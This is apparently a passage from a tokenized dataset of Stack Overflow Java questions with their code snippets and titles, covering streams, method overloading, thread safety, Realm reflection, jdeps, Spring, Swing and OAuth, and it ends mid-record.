ONE DISTINCT by ID sorted stream with BEST PERFORMANCE somethink like : Any Ideas ? BR Vitaly","Set < AppStory > appStr1 =StreamSupport.stream ( splititerato1 , true ) .map ( storyId1 - > vertexToStory1 ( storyId1 ) .collect ( toSet ( ) ) ; Set < AppStory > appStr2 =StreamSupport.stream ( splititerato2 , true ) .map ( storyId2 - > vertexToStory2 ( storyId1 ) .collect ( toSet ( ) ) ; Set < AppStory > appStr3 =StreamSupport.stream ( splititerato3 , true ) .map ( storyId3 - > vertexToStory3 ( storyId3 ) .collect ( toSet ( ) ) ; Set < AppStory > set = new HashSet < > ( ) ; set.addAll ( appStr1 ) set.addAll ( appStr2 ) set.addAll ( appStr3 ) , and than make sort by `` lastUpdate '' ..//POJO Object : public class AppStory implements Comparable < AppStory > { private String storyId ; private String ... ... ... .. many other attributes ... ... public String getStoryId ( ) { return storyId ; } @ Overridepublic int compareTo ( AppStory o ) { return this.getStoryId ( ) .compareTo ( o.getStoryId ( ) ) ; } } Set < AppStory > finalSet = distinctStream.sort ( ( v1 , v2 ) - > Integer.compare ( 'not my issue ' ) .collect ( toSet ( ) )",What is the best way to aggregate Streams into one DISTINCT with Java 8 +Java,"I am trying to understand method overloading , and I have these methods.After calling them with these parameters , I have these results : interface int a int ... a int ... a int ... aAs far as I know , the program should not compile , beacuse of ambiguity , but it does anyway . Should n't the compiler throw an error ?","public void method ( int a ) { System.out.println ( `` int a '' ) ; } //implementing interface method @ Overridepublic void method ( ) { System.out.println ( `` interface '' ) ; } //varargspublic void method ( int ... a ) { System.out.println ( `` int ... a '' ) ; } int [ ] a = new int [ 5 ] ; stack.method ( ) ; stack.method ( 1 ) ; stack.method ( 5,6 ) ; stack.method ( null ) ; stack.method ( a ) ;",Java method overloading and varargs +Java,"Imagine having a main thread which creates a HashSet and starts a lot of worker threads passing HashSet to them.Just like in code below : I 'm wondering is it thread-safe to synchronize only on add method ? Is there any possible issues if contains is not synchronized ? My intuition telling me this is fine , after leaving synchronized block changes made to set should be visible to all threads , but JMM could be counter-intuitive sometimes.P.S . I do n't think it 's a duplicate of How to lock multiple resources in java multithreadingEven though answers to both could be similar , this question addresses more particular case .",void main ( ) { final Set < String > set = new HashSet < > ( ) ; final ExecutorService threadExecutor = Executors.newFixedThreadPool ( 10 ) ; threadExecutor.submit ( ( ) - > doJob ( set ) ) ; } void doJob ( final Set < String > pSet ) { // do some stuff final String x = ... // does n't matter how we received the value . if ( ! pSet.contains ( x ) ) { synchronized ( pSet ) { // double check to prevent multiple adds within different threads if ( ! pSet.contains ( x ) ) { // do some exclusive work with x. pSet.add ( x ) ; } } } // do some stuff },Is it thread-safe to synchronize only on add to HashSet ? +Java,What is the reason for the output ? I know it prints Hello World but don ’ t know why as it should give NullPointerException .,public class Null { public static void greet ( ) { System.out.println ( `` Hello World '' ) ; } public static void main ( String [ ] args ) { ( ( Null ) null ) .greet ( ) ; } },Why does this method call on a null object run without a NullPointerException ? +Java,I 'm trying to implement an abstraction to realm so that I could save some time when using the CURD operation on the db.the abstraction that I build is controller to the database operation so that I could use this controller which do the CURD operation with any table.i.e . the controller I 'm talking about is just a Java class has four methodscreate update read delete.this is the create which using reflection to create the db objects and bind the fields of the passed data object to that db object the problem is as follow : when I 'm trying to query the database to get the object after the finish of the process the database return the objects that I create using this function but those objects has no data actually the returned data is set to default value to each type i.e . string to null boolean to false etc ... my question is : is there any problem in my code or the realm database does n't support setting values to the objects on reflection ?,"/** * this method will delete the old data `` you can change that '' * of the table then store the passed data array in the table * * @ param datum the data Object you want to * save in the database * @ param map this map will contain which field * value in the data class will be * binded to which field in the db class * and will have this form dataFieldName = > dbFieldName * @ param callback when the function finish it 's work it will * return a boolean value indicate whether * the function successfully finish it 's work */ public void create ( Object datum , Class dataClass , HashMap < String , String > map , SaveDataCallback callback ) { Realm realm = Realm.getInstance ( configuration ) ; realm.executeTransactionAsync ( bgRealm - > { long id ; Number currentId = bgRealm.where ( clacc ) .max ( `` id '' ) ; //the clacc object is passed in the constructor of the controller if ( currentId == null ) id = 1 ; else id = currentId.longValue ( ) + 1 ; RealmObject dbObject = bgRealm.createObject ( clacc , id++ ) ; //the clacc object is passed in the constructor of the controller mapObjects ( datum , dataClass , dbObject , clacc , map ) ; } , ( ) - > callback.onSavingDataFinished ( true ) , error - > callback.onSavingDataFinished ( false ) ) ; } private void mapObjects ( Object source , Class sourceClass , Object destination , Class destinationClass , HashMap < String , String > map ) { String [ ] sourceFieldNames = map.keySet ( ) .toArray ( new String [ map.size ( ) ] ) ; try { for ( int i = 0 ; i < map.size ( ) ; i++ ) { Field sourceField = sourceClass.getDeclaredField ( sourceFieldNames [ i ] ) ; sourceField.setAccessible ( true ) ; Object sourceValue = sourceField.get ( source ) ; String destinationFieldName = map.get ( sourceFieldNames [ i ] ) ; Field destinationField = destinationClass.getDeclaredField ( destinationFieldName ) ; destinationField.setAccessible ( true ) ; if ( sourceField.getType ( ) == Short.TYPE ) { destinationField.set ( destination , Short.parseShort ( sourceValue.toString ( ) ) ) ; continue ; } if ( sourceField.getType ( ) == Integer.TYPE ) { destinationField.set ( destination , Integer.parseInt ( sourceValue.toString ( ) ) ) ; continue ; } if ( sourceField.getType ( ) == Long.TYPE ) { destinationField.set ( destination , Long.parseLong ( sourceValue.toString ( ) ) ) ; continue ; } if ( sourceField.getType ( ) == Float.TYPE ) { destinationField.set ( destination , Float.parseFloat ( sourceValue.toString ( ) ) ) ; continue ; } if ( sourceField.getType ( ) == Double.TYPE ) { destinationField.set ( destination , Double.parseDouble ( sourceValue.toString ( ) ) ) ; continue ; } if ( sourceField.getType ( ) == Byte.TYPE ) { destinationField.set ( destination , Byte.parseByte ( sourceValue.toString ( ) ) ) ; continue ; } if ( sourceField.getType ( ) == Boolean.TYPE ) { destinationField.set ( destination , Boolean.parseBoolean ( sourceValue.toString ( ) ) ) ; continue ; } destinationField.set ( destination , sourceValue ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; } }",Realm is n't set value to the fields of the objects on reflection ( Android ) +Java,Not quite sure how to use jdeps to inspect module if current module has multi-version dependencies . jdeps keep asking me provide -- multi-version 9 but other dependent modules is not multi-version.How to properly use jdeps for such cases ? command : Error : jaxb-api.jar is a multi-release jar file but -- multi-release option is not setcommand : jdeps - earlier access from JDK11command :,jdeps -cp .\..\..\..\modules -- module-path .\..\..\..\modules -s ws-gen.jar jdeps -- multi-release 9 -- module-path . -filter : package -s jaxb-api.jarError : bcprov-jdk15on-1.60.jar is not a multi-release jar file but -- multi-release option is set jdeps -version11,"Use jdeps for module which has multi-version implementation , but root module does n't" +Java,"Is it possible to use the predicate section of the spring cloud gateway config to check the header authorization , my goal is to have some basic auth on one or more endpointsI 'm using application.yml for route configuration",cloud : gateway : routes : - id : serviceRoute uri : http : //service:8000 predicates : - Path=/service/ **- Header= ? ? ** filters : - name : CircuitBreaker args : name : slow fallbackUri : forward : /fallback/service,Spring Cloud Gateway Use predicate to check header authorization +Java,"Reviewing Java 8 Stream API design , I was surprised by the generic invariance on the Stream.reduce ( ) arguments : A seemingly more versatile version of the same API might have applied covariance / contravariance on individual references to U , such as : This would allow for the following , which is n't possible , currently : Workaround , use method references to `` coerce '' the types into the target type : C # does n't have this particular problem , as Func ( T1 , T2 , TResult ) is defined as follows , using declaration-site variance , which means that any API using Func gets this behaviour for free : What are the advantages ( and possibly , the reasons for EG decisions ) of the existing design over the suggested design ? Or , asked differently , what are the caveats of the suggested design that I might be overlooking ( e.g . type inference difficulties , parallelisation constraints , or constraints specific to the reduction operation such as e.g . associativity , anticipation of a future Java 's declaration-site variance on BiFunction < in T , in U , out R > , ... ) ?","< U > U reduce ( U identity , BiFunction < U , ? super T , U > accumulator , BinaryOperator < U > combiner ) < U > U reduce ( U identity , BiFunction < ? super U , ? super T , ? extends U > accumulator , BiFunction < ? super U , ? super U , ? extends U > combiner ) // Assuming we want to reuse these tools all over the place : BiFunction < Number , Number , Double > numberAdder = ( t , u ) - > t.doubleValue ( ) + u.doubleValue ( ) ; // This currently does n't work , but would work with the suggestionStream < Number > stream = Stream.of ( 1 , 2L , 3.0 ) ; double sum = stream.reduce ( 0.0 , numberAdder , numberAdder ) ; double sum = stream.reduce ( 0.0 , numberAdder : :apply , numberAdder : :apply ) ; public delegate TResult Func < in T1 , in T2 , out TResult > ( T1 arg1 , T2 arg2 )",What are good reasons for choosing invariance in an API like Stream.reduce ( ) ? +Java,"As an exercise for my Java course in Uni this morning , I had to write a small program to ask the user to input some details , then print them back . I 've since finished writing it , but I ran into a strange problem along the way.See the code below : When this program runs , line 17 ( refer to comments ) is skipped ; Account name : is printed , but the user is not given the opportunity to enter the information , as if that line of code was commented out . No errors are thrown . The output looks like this : Account ID : 2 Account name : Account balance : However , if I switch lines 13 and 14 with 16 and 17 , like as follows , the program runs fine , and no lines are skipped.Why is the line 17 being skipped in the first case , but not the second ? If it 's somehow relevant , I am using JDK 6 Update 18 , and TextPad 5.3.1 .",import java.util.Scanner ; public class Scanner_Exercise { public static void main ( String [ ] args ) { Scanner keyboardIn = new Scanner ( System.in ) ; int accountId ; String accountName ; float accountBalance ; System.out.println ( `` Account ID : `` ) ; //Line 13 accountId = keyboardIn.nextInt ( ) ; //Line 14 System.out.println ( `` Account name : `` ) ; //Line 16 accountName = keyboardIn.nextLine ( ) ; //Line 17 System.out.println ( `` Account balance : `` ) ; accountBalance = keyboardIn.nextFloat ( ) ; } } System.out.println ( `` Account name : `` ) ; //Line 16accountName = keyboardIn.nextLine ( ) ; //Line 17System.out.println ( `` Account ID : `` ) ; //Line 13accountId = keyboardIn.nextInt ( ) ; //Line 14,Why is line 17 of this Java program not being executed ? +Java,I am a java beginner and for my first project I started building a Monopoly game.I 'm building the GUI in SWING using the Graphics method.Two problems appeared which I ca n't find an answer to.The first one is that it seems that I ca n't set the Background color to my JPanel which I had previously done the same way in another JPanel in the same project.The second one is that I get a NullPointerException while trying to add an image.I managed to correct this error with a try/catch but it seems that the Graphics wo n't paint.Again I 've used the same method to load and add images in a previous JPanel and it worked.I should mention that my JFrame at the moment contains 3 elements everyone in there separate classes and are added via BorderLayout ( ) .This is the code for the class that is creating problems :,"public class MonopolyBoard extends JPanel { Image atlantic ; MonopolyBoard ( ) { this.setBorder ( new EtchedBorder ( ) ) ; this.setBackground ( new Color ( ( 80 ) , ( 180 ) , ( 210 ) ) ) ; //this code dosent work //this throws exception without try catch try { ImageIcon a = new ImageIcon ( this.getClass ( ) .getResource ( `` ../Card/Atlantic Ave.jpg '' ) ) ; atlantic = a.getImage ( ) ; } catch ( NullPointerException e ) { } } public void paint ( Graphics g ) { } Graphics2D g2 = ( Graphics2D ) g ; //this code should draw the image but it dosent g2.drawImage ( atlantic , 100 , 100 , null ) ; g.drawImage ( atlantic , 100 , 100 , this ) ; } ; }",Java Graphics problems +Java,"So most of us know how to access an outer class from an inner class . Searches with those words give oodles of answered questions on that topic . But what I want to know is why the syntax is the way it is.Example : Why is it A.this.d ( ) ? It looks like this is a static field of class A , but ... * am confused *Forgive me if this is a repeat ; like I said , searches with those words give how-answers .","public class A { private class B { public void c ( ) { A.this.d ( ) ; } public void d ( ) { System.out.println ( `` You called the d ( ) in the B class ! Oh noes ! `` ) ; } } public void d ( ) { System.out.println ( `` You 've called d ( ) ! Go , you ! `` ) ; } }",Access outer class from inner class : Why is it done this way ? +Java,"One of my Java projects exports an executable `` fat-JAR '' file ready for deployment . For creating the JAR file using Gradle , I followed the instructions described here : The task illustrated will recursively go through dependency tree , unzip JARs if needed , and squash everything together . The only problem so far is that some of my dependencies come with their own log4.properties files , which eventually overwrite the one I have written myself . All of them reside within the same level into their respective resources folders , so when files get merged together , the later ones seem to overwrite the ones that have been added before . So far , the only solution I have found , is to manually set the path to the right file , using a command-line parameter . I would eventually like to be able to execute the JAR itself , without additional overhead.What would be a good way to keep my log4.properties and exclude the others from being added to the package ?","task fatJar ( type : Jar ) { manifest { attributes 'Implementation-Title ' : ' < HUMAN_READABLE_TITLE_OF_YOUR_PACKAGE > ' , 'Implementation-Version ' : version , 'Main-Class ' : ' < PATH_TO_THE_MAIN_APPLICATION_CLASS > ' } baseName = project.name + '-all ' from { configurations.compile.collect { it.isDirectory ( ) ? it : zipTree ( it ) } } with jar }",log4j.properties gets overwritten when creating a `` fat-JAR '' using Gradle +Java,"I am using Spring , here is a controller : and here is a service : However , to properly make use of DI I should change the controller to make use of an interface ( ? ) like so : This would then allow me , for example , to use two services one test and one live . Which I could alter by adding/removing the annotation on the services : and However one of the main benefits is lost due to the fact that the code has to be recompiled ? Whereas if I used xml lookup I could alter the dependency on-the-fly ?","@ Controllerpublic class PersonController { @ Resource ( name= '' PersonService '' ) private PersonService personService ; @ RequestMapping ( value = `` /Person '' , method = RequestMethod.GET ) public String getPersons ( Model model ) { // Retrieve all persons by delegating the call to PersonService List < Person > persons = personService.getAll ( ) ; // Attach persons to the Model model.addAttribute ( `` persons '' , persons ) ; //then return to view jsp } @ Service ( `` personService '' ) @ Transactionalpublic class PersonService { public List < Person > getAll ( ) { //do whatever } } @ Controllerpublic class PersonController { @ Resource ( name= '' personService '' ) private IPersonService personService ; //Now an interface } @ Service ( `` personService '' ) // this line would be added/removed @ Transactionalpublic class LivePersonService implements IPersonService { public List < Person > getAll ( ) { //do whatever } } @ Service ( `` personService '' ) //this line would be added/removed @ Transactionalpublic class TestPersonService implements IPersonService { public List < Person > getAll ( ) { //do something else } }",Does using annotations to inject dependencies remove the main benefit of dependency injection ( external configuration ) ? +Java,"I 've implemented a simple B-Tree whichs maps longs to ints . Now I wanted to estimate the memory usage of it using the following method ( applies to 32bit JVM only ) : But I tried it e.g . for 7mio entries and the memoryUsage method reports much higher values than the -Xmx setting would allow ! E.g . it says 1040 ( MB ) and I set -Xmx300 ! Is the JVM somehow able to optimize the memory layout , eg . for empty arrays or what could be my mistake ? Update1 : Ok , introducing the isLeaf boolean reduces memory usage a lot , but still it is unclear why I observed higher values than Xmx . ( You can still try out this via using isLeaf == false for all contructors ) Update2 : Hmmh , something is very wrong . When increasing the entries per leaf one would assume that the memory usage decreases ( when doing compact for both ) , because less overhead of references is involved for larger arrays ( and btree has smaller height ) . But the method memoryUsage reports an increased value if I use 500 instead 100 entries per leaf .",class BTreeEntry { int entrySize ; long keys [ ] ; int values [ ] ; BTreeEntry children [ ] ; boolean isLeaf ; ... /** @ return used bytes */ long capacity ( ) { long cap = keys.length * ( 8 + 4 ) + 3 * 12 + 4 + 1 ; if ( ! isLeaf ) { cap += children.length * 4 ; for ( int i = 0 ; i < children.length ; i++ ) { if ( children [ i ] ! = null ) cap += children [ i ] .capacity ( ) ; } } return cap ; } } /** @ return memory usage in MB */public int memoryUsage ( ) { return Math.round ( rootEntry.capacity ( ) / ( 1 < < 20 ) ) ; },Calculating memory usage of a B-Tree in Java +Java,I 'm wondering if the default implementation of Java 's Hashtable # hashCode ( ) is broken when the Hashtable contains only entries with identical keys and values per pair.See for example the following application : The hash code for an empty Hashtable is 0 . After an entry with the key `` Test '' and value `` Test '' has been added to the Hastable the hash code still is 0.The problem is that in Hashtable 's hashCode ( ) method the hash code of every entry is calculated and added to the hash code as followsHowever XOR on identical hash codes ( which is the case for identical Strings ) is always 0 . So entries with identical keys and values are not part of the Hashtable 's hash code.This implementation is imho broken because the Hashtable actually has changed . It should n't matter if key and value are identical .,"public class HashtableHash { public static void main ( final String [ ] args ) { final Hashtable < String , String > ht = new Hashtable < String , String > ( ) ; final int h1 = ht.hashCode ( ) ; System.out.println ( h1 ) ; // output is 0 ht.put ( `` Test '' , `` Test '' ) ; final int h2 = ht.hashCode ( ) ; System.out.println ( h2 ) ; // output is 0 ? ! ? // Hashtable # hashCode ( ) uses this algorithm to calculate hash code // of every element : // // h += e.key.hashCode ( ) ^ e.value.hashCode ( ) // // The result of XOR on identical hash codes is always 0 // ( because all bits are equal ) ht.put ( `` Test2 '' , `` Hello world '' ) ; final int h3 = ht.hashCode ( ) ; System.out.println ( h3 ) ; // output is some hash code } } h += e.key.hashCode ( ) ^ e.value.hashCode ( )",Java Hashtable # hashCode ( ) implementation broken ? +Java,"I have a file format for potentially large files where the first line is special . I 'd like to open the file once and treat it as a stream of lines , but handle the first line differently from all of the other lines . The others get map/collected , the first line needs to be just parsed into some flags . Is there a way ? This starts as : except that I want to divert the first line .",result = Files.lines ( path ) .map ( something ) .collect ( Collectors.toList ( ) ) ;,A java 8 stream that maps and collects all except the first item +Java,"I use alfresco 4.2f community edition , and in the official documentation I do n't understand for JavaBehaviour NotificationFrequency what is the difference among : In particular between the first and the third.Thanks in advance .",NotificationFrequency.EVERY_EVENT NotificationFrequency.FIRST_EVENTNotificationFrequency.TRANSACTION_COMMIT,JavaBehaviour NotificationFrequency +Java,"I am reading about classes in Python ( 3.4 ) and from what I understand it seems that every new object has its own bound methods instances.The output of this is False.This seems to me as a waste of memory . I thought that internally a.foo and b.foo would point somehow internally to one function in memory : A.foo where self as the class instance will be passed . I assume this maybe can not be implemented easily in the language.Does each new instance contain also new instances of its bound methods ? If so , does not this hurt the performance or make case for creating new objects more cautiously than in other languages where methods are `` shared '' among objects like in Java ?","class A : def __init__ ( self , name ) : self.name = name def foo ( self ) : print ( self.name ) a = A ( 'One ' ) b = A ( 'Two ' ) print ( a.foo == b.foo )",Does Python really create all bound method for every new instance ? +Java,"I 've been asking questions on hex and bitwise manipulation ( here and elsewhere ) for the past week trying to wrap my head around their representation in Java . After much Googling and chagrin I must ask one final time how to perform logical arithmetic on bits that ought to be unsigned , but are represented as signed in Java.Okay : I am porting a C # program to Java . The program deals with bitmap manipulation , and as such much of the data in the app is represented as byte , an unsigned 8-bit integer . There are many suggestions to instead use the short data type in Java in order to `` mimic '' as close as possible the unsigned 8-byte integer.I do n't believe that 's possible for me as the C # code is performing various many shifting and AND operations with my byte data . For example , if data is a byte array , and this block of code exists in C # : It 's not a simple matter of just casting data as a short and being done with it to get it to work in Java . As far as the logic is concerned the requirement that my data stay in 8-bit unsigned is significant ; 16-bit unsigned would screw math like the above up . Am I right here ? Indeed , after having previously `` fake casting '' byte with 0XFF and char in Java and not getting the right results , I am afraid I hit a dead end.Now , in another part of the code , I am performing some bitmap pixel manipulation . Since it 's a long running process , I decided to make a call to native code through JNI . I realized recently that in there I could use the uint8_t data type and get the closest representation to the C # byte data type.Is the solution to make all my data-dependent functionality operate in JNI ? That seems highly inefficient , both to rewrote and to perform . Is the solution to redo the math in Java so the logic remains the same ? That seems right , but has the potential to induce an aneurysm , not to mention faulty math.I appreciate any and all suggestions .",int cmdtype = data [ pos ] > > 5 ; int len = ( data [ pos ] & 0x1F ) + 1 ; if ( cmdtype == 7 ) { cmdtype = ( data [ pos ] & 0x1C ) > > 2 ; len = ( ( data [ pos ] & 3 ) < < 8 ) + data [ pos + 1 ] + 1 ; pos++ ; },Performing bitwise left shifts on `` signed '' data in Java -- better to move to JNI ? +Java,"An example : since JavaFx was dropped from the JDK , the JavaFx SDK is now distributed as a set of modular jars . To compile a JavaFx application , of course you have to put them on the module path : That does n't suffice , however . Trying to compile will cause a lot of errors similar toTo resolve this , we can add javafx.graphics with -- add-modules : If we added a module-info.java ( containing just module ui { } ) to the project instead , though , we have no issue.Why are the modules on the module path visible to named modules but not the unnamed module ?","javac -p /path/to/jars/ App.java sample/App.java:3 : error : package javafx.application is not visibleimport javafx.application.Application ; ^ ( package javafx.application is declared in module javafx.graphics , which is not in the module graph ) javac -p /path/to/jars/ -- add-modules javafx.graphics App.java",Why is -- add-modules necessary for modules which are on the module path ? +Java,"Consider the following ( invalid ) Java program : I would expect an error similar to this : but instead , javac emits : javac -version javac 1.8.0_11java -versionThis came about in this question . Is this a bug in javac ? Or am I missing something dead obvious here ?","public class Test { public static void main ( String [ ] args ) { int [ ] ints = { 1 , 2 , 3 , 4 , 5 } ; print ( ints ) ; } public void print ( int ... ints ) { for ( int i : ints ) { System.out.print ( i ) ; } } } Can not make a static reference to the non-static method print ( int [ ] ) from the type Testat Test.main ( Test.java:5 ) Test.java:5 : error : method print in class Test can not be applied to given types ; print ( ints ) ; ^required : int [ ] found : int [ ] reason : varargs mismatch ; int [ ] can not be converted to int1 error java version `` 1.8.0_11 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_11-b12 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.11-b03 , mixed mode )",Why does javac emit `` error : method in class can not be applied to given types '' when an instance method is used in a static context ? +Java,"I checked out official Android documentation for LRUCache which says : Each time a value is accessed , it is moved to the head of a queue . When a value is added to a full cache , the value at the end of that queue is evicted and may become eligible for garbage collection . I suppose this is the doubly linked list which is maintained by linkedhashmap which is used by the cache . To check this behavior , I checked out the source code for LruCache , and checked the get ( K key ) method . It further calls upon map 's get method which gets the value from the underlying hashmap and calls upon recordAccess method.recordAccess method in turn moves the accessed entry to the end of the list in case accessOrder is set to true ( for my problem let 's assume it is ) , else it does nothing . This sounds contradictory to the above statement where it 's said that the element is moved to the head of the queue . Instead it 's moved to the last element of the list ( using head.before ) . Surely , I 'm missing something here , any help ?","public V get ( Object key ) { LinkedHashMapEntry < K , V > e = ( LinkedHashMapEntry < K , V > ) getEntry ( key ) ; if ( e == null ) return null ; e.recordAccess ( this ) ; return e.value ; } /** * This method is invoked by the superclass whenever the value * of a pre-existing entry is read by Map.get or modified by Map.set . * If the enclosing Map is access-ordered , it moves the entry * to the end of the list ; otherwise , it does nothing . */ void recordAccess ( HashMap < K , V > m ) { LinkedHashMap < K , V > lm = ( LinkedHashMap < K , V > ) m ; if ( lm.accessOrder ) { lm.modCount++ ; remove ( ) ; addBefore ( lm.header ) ; } }",LRUCache entry reordering when using get +Java,"I have a keyboard app for Android that I 'm developing , and it outputs simple symbols rather than language , so that said , I would love to be able to track user activity since there 's no sensitive information or words involved.The problem is that Android 's InputMethodService does not extend Application , which is what allows you to access Google Analytics ' Android SDK ( possible wording error , here , feel free to correct me ) .I 've followed the guide here to get started , and this is the code I referenced to acquire the Tracker object : This is all great for tracking my app 's main activity , which is basically just a view containing short set of instructions with a couple of ads and a settings shortcut.As I said before , I 'd like to track the keyboard , and how to do that is n't exactly obvious since InputMethodService does n't expose Google Analytics.How can I utilize the Google Analytics Android SDK inside of a class that extends InputMethodService but not Application ? Please tell me if I have n't made my issue clear , I will update the post any way I can .","/* * Copyright Google Inc. All Rights Reserved . * * Licensed under the Apache License , Version 2.0 ( the `` License '' ) ; * you may not use this file except in compliance with the License . * You may obtain a copy of the License at * * http : //www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing , software * distributed under the License is distributed on an `` AS IS '' BASIS , * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND , either express or implied . * See the License for the specific language governing permissions and * limitations under the License . */package com.google.samples.quickstart.analytics ; import android.app.Application ; import com.google.android.gms.analytics.GoogleAnalytics ; import com.google.android.gms.analytics.Tracker ; /** * This is a subclass of { @ link Application } used to provide shared objects for this app , such as * the { @ link Tracker } . */public class AnalyticsApplication extends Application { private Tracker mTracker ; /** * Gets the default { @ link Tracker } for this { @ link Application } . * @ return tracker */ synchronized public Tracker getDefaultTracker ( ) { if ( mTracker == null ) { GoogleAnalytics analytics = GoogleAnalytics.getInstance ( this ) ; // To enable debug logging use : adb shell setprop log.tag.GAv4 DEBUG mTracker = analytics.newTracker ( R.xml.global_tracker ) ; } return mTracker ; } }",getDefaultTracker ( ) from a class that extends InputMethodService ? +Java,I want to stream the lines contained in files but MOVING each file to another folder once it has been processed.The current process is like this : Explanation : I create a Stream of FilesI create a BufferedReader for each one of themI flatMap to the lines Stream of the BufferedReaderI print each line.Code ( omitted exceptions for simplicity ) : Would it be possible to move each file once it has been completely read and continue processing the other files in the stream ?,( 1 ) Stream.generate ( localFileProvider : :getNextFile ) ( 2 ) .map ( file - > new BufferedReader ( new InputStreamReader ( new FileInputStream ( file ) ) ) ) ( 3 ) .flatMap ( BufferedReader : :lines ) ( 4 ) .map ( System.out : :println ) .MOVE_EACH_FILE_FROM_INPUT_FOLDER_TO_SOME_OTHER_FOLDER ;,Streaming files and moving them after read +Java,"Is it possible to get javac to output information about the types it 's inferring for method invocations ? For example , I want to know what is inferred for the formal type T in the invocation of bar.I was exploring javac -Xprint and friends , but ca n't find anything that exposes this level of detail.EDIT Example . I did n't want to put this up originally because it 'll complicate answers . I 'm primarily interested in getting debug info out of javac . Anyway , this was the motivating example : This compiles , but any reasonable decision as to the actual type of T should yield Throwable , and require that foo ( ) throws Throwable . Eclipse seems to think it 's RuntimeException . I want to know what javac thinks is happening . If it 's a bug in javac 's processing of type parameters in the throws clause , the answer to this question would allow me to prove it .",private static < T > void bar ( ) { ... } public void foo ( ) { bar ( ) ; } public class Scratch { private static < T extends Throwable > void sneakyThrow ( Throwable t ) throws T { throw ( T ) t ; // Warning : Type safety : Unchecked cast from Throwable to T } public void foo ( ) { sneakyThrow ( new Exception ( ) ) ; } },Make java compiler output type inference information +Java,"A simple design question.Sample code : Why JDK design is not something like the following ? so , toBinaryString function returns the the desired result ? Aside for wide usability of a static function , what are the other reasons for this design approach ? Are they using any particular design pattern ? If it is then , which pattern ?",Integer int1 = new Integer ( 20 ) ; System.out.println ( Integer.toBinaryString ( int1 ) ) ; System.out.println ( int1.toBinaryString ( ) ) ;,Why toBinaryString is not an instance method in Integer class ? +Java,"If I have the followingThe ints collection is never changed but the entire collection maybe replaced by another thread ( so it 's an immutable collection ) .Should I be copying the ints variable locally before I iterate it ? I 'm not sure if it will be accessed multiple times . ie Iterating the collection , another thread replaces the collection , the code continues iterating but with the new collection.EDIT : This question is relevant for additional info on how foreach works internally .",private volatile Collection < Integer > ints ; private void myMethod ( ) { for ( Integer i : ints ) { ... } },In Java should I copy a volatile reference locally before I foreach it +Java,I want to reduce the size ( delete some elements ) of an ordered list of map objects . All objects of list should be discarded unless a certain condition is met . And when that condition is met all next elements of that list should remained in the list . I have following piece of code . I want to do the same with Java 8 .,"public List < Map < String , String > > doAction ( List < Map < String , String > > dataVoMap ) { List < Map < String , String > > tempMap = new ArrayList < > ( ) ; boolean found = false ; for ( Map < String , String > map : dataVoMap ) { if ( map.get ( `` service_id '' ) .equalsIgnoreCase ( `` passed value '' ) || found ) { found = true ; tempMap.add ( map ) ; } } dataVoMap = tempMap ; return dataVoMap ; }",Reduce the size of list with Java 8 stream +Java,"I 've been looking around for days trying to find a way using reduced data for further mapping in hadoop . I 've got objects of class A as input data and objects of class B as output data . The Problem is , that while mapping not only Bs are generated but new As as well.Here 's what I 'd like to achieve : You should get the basic idea.I 've read a lot about chaining but I 'm not sure how to combine ChainReducer and ChainMapper or even if this would be the right approach . So here 's my question : How can I split the mapped data while reducing to save one part as output and the other part as new input data .","1.1 input : a list of As1.2 map result : for each A a list of new As and a list of Bs is generated1.3 reduce : filtered Bs are saved as output , filtered As are added to the map jobs2.1 input : a list of As produced by the first map/reduce2.2 map result : for each A a list of new As and a list of Bs is generated2.3 ... 3.1 ...",Split reduced data into output and new input in Hadoop +Java,Place your declaration for i at line 3 so that the loop becomes an infinite loop .,public class Puzzel3 { public static void main ( String [ ] args ) { // Line 3 while ( i == i + 1 ) { System.out.println ( i ) ; } System.out.println ( `` done '' ) ; } },What declaration turns the below loop into infinite loop ? +Java,"I was recently stung by some code making it through our deployment cycle without throwing any compile errors when it should have ( we thought ) ... The code in question being using the new static method Integer.compare which is since Java 1.7.The server environment is run on Java 1.6 . While our development environments have Java 1.7 installed.Our assumption was that setting the project preferences to JavaSE-1.6 compliance would at least give us compile warnings on the code in question , however no warning or error is visible in eclipse.Project > properties > java compiler > JDK Compliance > Use compliance from execution environment 'JavaSE-1.6 ' on the java build pathSecondarily to that , we use maven to compile the final deployment . The pom is clearly directed to comply with the 1.6 compiler : However the maven build runs successfully with the problem code.How can I tell both maven and eclipse to fail when code will not work in an earlier Jvm than it is being compiled by ? Thanks , Paul .",< plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > 2.3.2 < /version > < configuration > < source > 1.6 < /source > < target > 1.6 < /target > < optimize > true < /optimize > < /configuration > < /plugin >,"compiling down a version - eclipse , maven" +Java,"I have a separate JAR library with a collection of methods that throw custom exceptions , for example : I then add the JAR to the classpath and reference the library method within a try statement in source code : The above code snippet keeps returning the following compilation error : CustomException is never thrown in the body of corresponding try statementIf the method is in the local context ( not packaged in a JAR ) the code works.. So my question , is it possible to `` throw '' custom exceptions from JAR libraries ?",public String methodName ( ) throws CustomException { // code here } try { DemoClass demoClass = new DemoClass ( ) ; demoClass.methodName ( ) // this should throw a CustomException if something occurs } catch ( CustomException e ) { // something here },Is it possible to use `` throws '' on a method in an external JAR +Java,Is there any stream equivalent to the following,List < Integer > ints ; while ( ! ( ints = this.nextInts ( ) ) .isEmpty ( ) ) { // do work },Is there Java stream equivalent to while with variable assignment +Java,"To be direct here 's an example : For unbounded wildcard , one can not add . Why there is no compilation error on the last statement ?",ArrayList < ? > x = new ArrayList ( ) ; ArrayList y = new ArrayList ( ) ; x.add ( `` abc '' ) ; // Clause 1 . Compilation error - No problemo . Understood . x.addAll ( y ) ; // Clause 2 . No compilation error,"Java Generics : On arraylist ( unbounded wildcard type ) , add and addAll methods behaves differently" +Java,"I am using Play Framework and play.libs.OAuth , trying to connect to Twitter using the following code : but at the line marked < -- NOT WORKING ! ! ! ; I am getting the following error : OAuth.Error : NOT_AUTHORIZED - Authorization failed ( server replied with a 401 ) . This can happen if the consumer key was not correct or the signatures did not match.I 've double checked my consumer keys and secrets , as well as the request , access and authorize URLs , but to no avail.Any ideas as to what is wrong with my code ?","public static void twitterConnect ( ) { Response response ; ServiceInfo twitterServiceInfo = new ServiceInfo ( `` https : //api.twitter.com/oauth/request_token '' , `` https : 